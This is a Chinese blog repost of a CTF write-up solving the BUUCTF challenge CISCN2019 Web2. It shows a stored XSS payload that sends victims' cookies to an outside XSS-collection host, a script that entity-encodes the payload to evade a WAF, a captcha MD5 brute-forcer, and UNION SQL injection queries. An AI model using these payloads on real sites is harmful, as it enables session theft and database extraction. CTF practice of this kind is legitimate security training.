其他分享
首页 > 其他分享> > BUUCTF-[CISCN2019 华东北赛区]Web2

BUUCTF-[CISCN2019 华东北赛区]Web2

作者:互联网

BUUCTF-[CISCN2019 华东北赛区]Web2

看题

在这里插入图片描述
一个论坛,内容不错:)
可以投稿,点击投稿发现要注册,那就先注册登录。随便账号密码就行。
常规操作,扫一下站点,发现有admin.php,进行访问

在这里插入图片描述

思路

有session,可以确定一个思路,获取管理员的session得到权限,然后拿到flag

执行

去投稿,发现存在XSS漏洞,但是有一些过滤,''(''被转义成了"(",存在WAF,先转码,然后eval执行JS代码,并且需要一个window.location.href来自动触发刷新页面
使用题目提供的BUU的XSS平台查看代码,删除if那一部分

(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=FKKdNv&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();

注意代码中的id=后面的内容要替换为自己的。
然后编码绕过
上脚本

in_str = "(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=FKKdNv&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();"

output = ""

for c in in_str:
    output += "&#" + str(ord(c))

print("<svg><script>eval&#40&#34" + output + "&#34&#41</script>")

得到的结果进行投稿。
发布成功后,复制投稿地址,如果页面跳转,来不及复制,可以BurpSuite进行抓包。
点击反馈,记得要把一部分替换为web
在这里插入图片描述
破解验证码
上脚本

import hashlib

def func(md5_val):
    for x in range(999999, 100000000):
        md5_value = hashlib.md5(str(x).encode("gb2312")).hexdigest()
        if md5_value[:6] == md5_val:
            return str(x)

if __name__ == '__main__':
    print(func('')) #这里写入页面的那6个字符

为什么有人搜别的脚本执行会爆出一个错误,
因为没有指定加密方式,所以md5_value = hashlib.md5(str(x).encode("gb2312")).hexdigest()
(gb2312是它的加密方式,不是utf-8)
发送成功。
在这里插入图片描述
来到BUU提供的XSS平台,看到有人访问,并且提取到了session
进行替换,然后访问admin.php
进行sql查询或者sqlmap一把梭

-2 union select 1,2,3#

-2 union select 1,database(),user()#

-2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ciscn'#

-2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'#

-2 union select 1,2,group_concat(flagg) from ciscn.flag#

得到flag

标签:function,try,BUUCTF,return,Web2,window,href,location,CISCN2019
来源: https://blog.csdn.net/weixin_52517939/article/details/116742840